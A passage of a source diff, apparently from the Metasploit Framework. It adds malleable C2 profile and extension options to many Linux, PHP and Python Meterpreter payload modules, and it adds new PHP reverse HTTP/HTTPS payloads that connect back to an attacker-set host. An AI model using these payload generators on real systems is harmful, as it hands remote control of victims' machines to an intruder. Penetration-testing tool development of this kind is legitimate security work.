initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armle_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5l-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb index 01a15e099d56b..b9a596e53bc26 100644 --- a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armle_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5l-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb index fe08105400165..1c9317ea82fc8 100644 --- a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armle_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5l-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb index cd2b9b030a88c..68f47d2c4d7e4 100644 --- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mips64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips64-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb index c51a456525951..b0a1d704a0778 100644 --- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mips64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips64-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb index 35ec09b6e78e6..8d804e601a386 100644 --- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mips64_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips64-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb index c6611bb201cd8..5e61ffa702d7d 100644 --- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb index f06ded9a7566e..46e31694fb515 100644 --- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb index 0b14e0410b50c..17ed0cb03fb65 100644 --- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb index 7baf9ae3130af..b032c080b8dec 100644 --- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsle_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mipsel-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb index 3e71c5ad81993..e7cac7a773ac3 100644 --- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsle_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mipsel-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb index 623101101f972..8fd0927da7368 100644 --- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsle_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mipsel-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb index e78b5a0f96b7d..21b08ae5910b7 100644 --- a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'x86_64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb index 54131decab2c6..b0a2f9cf3b058 100644 --- a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'x86_64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb index 072960555c151..abe8ba2b5b1c2 100644 --- a/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x64_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'x86_64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb index 7efda64defbcc..3d4459b35accc 100644 --- a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x86_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'i486-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb index d8bdc12fe2cd6..3c8b69fbfd6cc 100644 --- a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x86_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'i486-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb index 005aa79785691..b17403e78b789 100644 --- a/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x86_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'i486-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb index 39b5f255c0b62..cba9106427d0b 100644 --- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb @@ -30,11 +30,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_zarch_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 's390x-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb index a4863f8f19c44..6d62c3c488dc8 100644 --- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb @@ -30,11 +30,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_zarch_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 's390x-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb index 45a237826ce41..c64bb462d217e 100644 --- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb @@ -30,11 +30,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_zarch_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 's390x-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/php/meterpreter_reverse_http.rb b/modules/payloads/singles/php/meterpreter_reverse_http.rb new file mode 100644 index 0000000000000..9fabbf97a740a --- /dev/null +++ b/modules/payloads/singles/php/meterpreter_reverse_http.rb @@ -0,0 +1,88 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Php::ReverseHttp + include Msf::Payload::TransportConfig + include Msf::Payload::UUID::Options + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'PHP Meterpreter, Reverse HTTP Inline', + 'Description' => 'Connect back to attacker and spawn a Meterpreter server via HTTP (PHP)', + 'Author' => 'OJ Reeves', + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_Php_Php + ) + ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) + end + + def generate_config(opts = {}) + ds = opts[:datastore] || datastore + opts[:uuid] ||= generate_payload_uuid + + opts[:transport_config] ||= [transport_config_reverse_http(opts)] + + config_opts = { + ascii_str: true, + null_session_guid: true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + extensions: (ds['EXTENSIONS'] || '').split(','), + ext_format: 'php', + stageless: true + }.merge(meterpreter_logging_config(opts)) + + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + config.to_b + end + + def generate_reverse_http(opts = {}) + opts[:uri_uuid_mode] = :init_connect + + ds = opts[:datastore] || datastore + opts.merge!({ + host: ds['LHOST'] || '127.127.127.127', + port: ds['LPORT'] + }) + opts[:scheme] = 'http' if opts[:scheme].nil? + url = generate_callback_url(opts) + + met = MetasploitPayloads.read('meterpreter', 'meterpreter.php') + + config_block = Rex::Text.encode_base64(generate_config( + url: url, + scheme: opts[:scheme], + c2_profile: datastore['MALLEABLEC2'], + stageless: true + )) + met = met.sub('"CONFIG_BLOCK", ""', "\"CONFIG_BLOCK\", \"#{config_block}\"") + + if datastore['MeterpreterDebugBuild'] + met.sub!(%q{define("MY_DEBUGGING", false);}, %|define("MY_DEBUGGING", true);|) + + logging_options = Msf::OptMeterpreterDebugLogging.parse_logging_options(datastore['MeterpreterDebugLogging']) + met.sub!(%q{define("MY_DEBUGGING_LOG_FILE_PATH", false);}, %|define("MY_DEBUGGING_LOG_FILE_PATH", "#{logging_options[:rpath]}");|) if logging_options[:rpath] + end + + met.gsub!(/#.*$/, '') + Rex::Text.compress(met) + end +end diff --git a/modules/payloads/singles/php/meterpreter_reverse_https.rb b/modules/payloads/singles/php/meterpreter_reverse_https.rb new file mode 100644 index 0000000000000..8729897636d24 --- /dev/null +++ b/modules/payloads/singles/php/meterpreter_reverse_https.rb @@ -0,0 +1,88 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Php::ReverseHttp + include Msf::Payload::TransportConfig + include Msf::Payload::UUID::Options + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'PHP Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Connect back to attacker and spawn a Meterpreter server via HTTPS (PHP)', + 'Author' => 'OJ Reeves', + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_Php_Php + ) + ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) + end + + def generate_config(opts = {}) + ds = opts[:datastore] || datastore + opts[:uuid] ||= generate_payload_uuid + + opts[:transport_config] ||= [transport_config_reverse_https(opts)] + + config_opts = { + ascii_str: true, + null_session_guid: true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + extensions: (ds['EXTENSIONS'] || '').split(','), + ext_format: 'php', + stageless: true + }.merge(meterpreter_logging_config(opts)) + + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + config.to_b + end + + def generate_reverse_http(opts = {}) + opts[:scheme] = 'https' + opts[:uri_uuid_mode] = :init_connect + + ds = opts[:datastore] || datastore + opts.merge!({ + host: ds['LHOST'] || '127.127.127.127', + port: ds['LPORT'] + }) + url = generate_callback_url(opts) + + met = MetasploitPayloads.read('meterpreter', 'meterpreter.php') + + config_block = Rex::Text.encode_base64(generate_config( + url: url, + scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + stageless: true + )) + met = met.sub('"CONFIG_BLOCK", ""', "\"CONFIG_BLOCK\", \"#{config_block}\"") + + if datastore['MeterpreterDebugBuild'] + met.sub!(%q{define("MY_DEBUGGING", false);}, %|define("MY_DEBUGGING", true);|) + + logging_options = Msf::OptMeterpreterDebugLogging.parse_logging_options(datastore['MeterpreterDebugLogging']) + met.sub!(%q{define("MY_DEBUGGING_LOG_FILE_PATH", false);}, %|define("MY_DEBUGGING_LOG_FILE_PATH", "#{logging_options[:rpath]}");|) if logging_options[:rpath] + end + + met.gsub!(/#.*$/, '') + Rex::Text.compress(met) + end +end diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index 23b8aa791a4c7..37ebcfee8b086 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -4,10 +4,12 @@ ## module MetasploitModule - CachedSize = 39837 + CachedSize = :dynamic include Msf::Payload::Single include Msf::Payload::Php::ReverseTcp + include Msf::Payload::TransportConfig + include Msf::Payload::UUID::Options include Msf::Sessions::MeterpreterOptions::Php def initialize(info = {}) @@ -24,21 +26,38 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Php_Php ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end - def generate(_opts = {}) - met = MetasploitPayloads.read('meterpreter', 'meterpreter.php') + def generate_config(opts = {}) + ds = opts[:datastore] || datastore + opts[:uuid] ||= generate_payload_uuid + + opts[:transport_config] ||= [transport_config_reverse_tcp(opts)] - met.gsub!('127.0.0.1', datastore['LHOST']) if datastore['LHOST'] - met.gsub!('4444', datastore['LPORT'].to_s) if datastore['LPORT'] + config_opts = { + ascii_str: true, + null_session_guid: true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + extensions: (ds['EXTENSIONS'] || '').split(','), + ext_format: 'php', + stageless: true, + }.merge(meterpreter_logging_config(opts)) - uuid = generate_payload_uuid - bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') - met = met.sub(%q{"PAYLOAD_UUID", ""}, %("PAYLOAD_UUID", "#{bytes}")) + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + config.to_b + end + + def generate(_opts = {}) + met = MetasploitPayloads.read('meterpreter', 'meterpreter.php') - # Stageless payloads need to have a blank session GUID - session_guid = '\x00' * 16 - met = met.sub(%q{"SESSION_GUID", ""}, %("SESSION_GUID", "#{session_guid}")) + config_block = Rex::Text.encode_base64(generate_config(_opts)) + met = met.sub('"CONFIG_BLOCK", ""', "\"CONFIG_BLOCK\", \"#{config_block}\"") if datastore['MeterpreterDebugBuild'] met.sub!(%q{define("MY_DEBUGGING", false);}, %|define("MY_DEBUGGING", true);|) @@ -48,7 +67,6 @@ def generate(_opts = {}) end met.gsub!(/#.*$/, '') - met = Rex::Text.compress(met) - met + Rex::Text.compress(met) end end diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index a24a92b53f407..0e5eb646fcb93 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -25,6 +25,10 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Python_Python ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate_bind_tcp(opts = {}) @@ -34,6 +38,7 @@ def generate_bind_tcp(opts = {}) socket_setup << "s, address = bind_sock.accept()\n" opts[:stageless_tcp_socket_setup] = socket_setup opts[:stageless] = true + opts[:extensions] = (datastore['EXTENSIONS'] || '').split(',') met = stage_meterpreter(opts) py_create_exec_stub(met) diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb index e8d3b7eb86f14..11a53b9797c61 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -26,6 +26,11 @@ def initialize(info = {}) ) ) + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) + register_advanced_options( Msf::Opt.http_header_options + Msf::Opt.http_proxy_options @@ -34,11 +39,14 @@ def initialize(info = {}) def generate_reverse_http(opts = {}) opts[:uri_uuid_mode] = :init_connect + met = stage_meterpreter({ url: generate_callback_url(opts), http_user_agent: opts[:user_agent], http_proxy_host: opts[:proxy_host], http_proxy_port: opts[:proxy_port], + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), stageless: true }) diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index 8274c36226ac5..796318daaafa3 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -26,6 +26,11 @@ def initialize(info = {}) ) ) + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) + register_advanced_options( Msf::Opt.http_header_options + Msf::Opt.http_proxy_options @@ -35,11 +40,14 @@ def initialize(info = {}) def generate_reverse_http(opts = {}) opts[:scheme] = 'https' opts[:uri_uuid_mode] = :init_connect + met = stage_meterpreter({ url: generate_callback_url(opts), http_user_agent: opts[:user_agent], http_proxy_host: opts[:proxy_host], http_proxy_port: opts[:proxy_port], + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), stageless: true }) diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index 78a6600f191b6..961fb540a5d3f 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -25,6 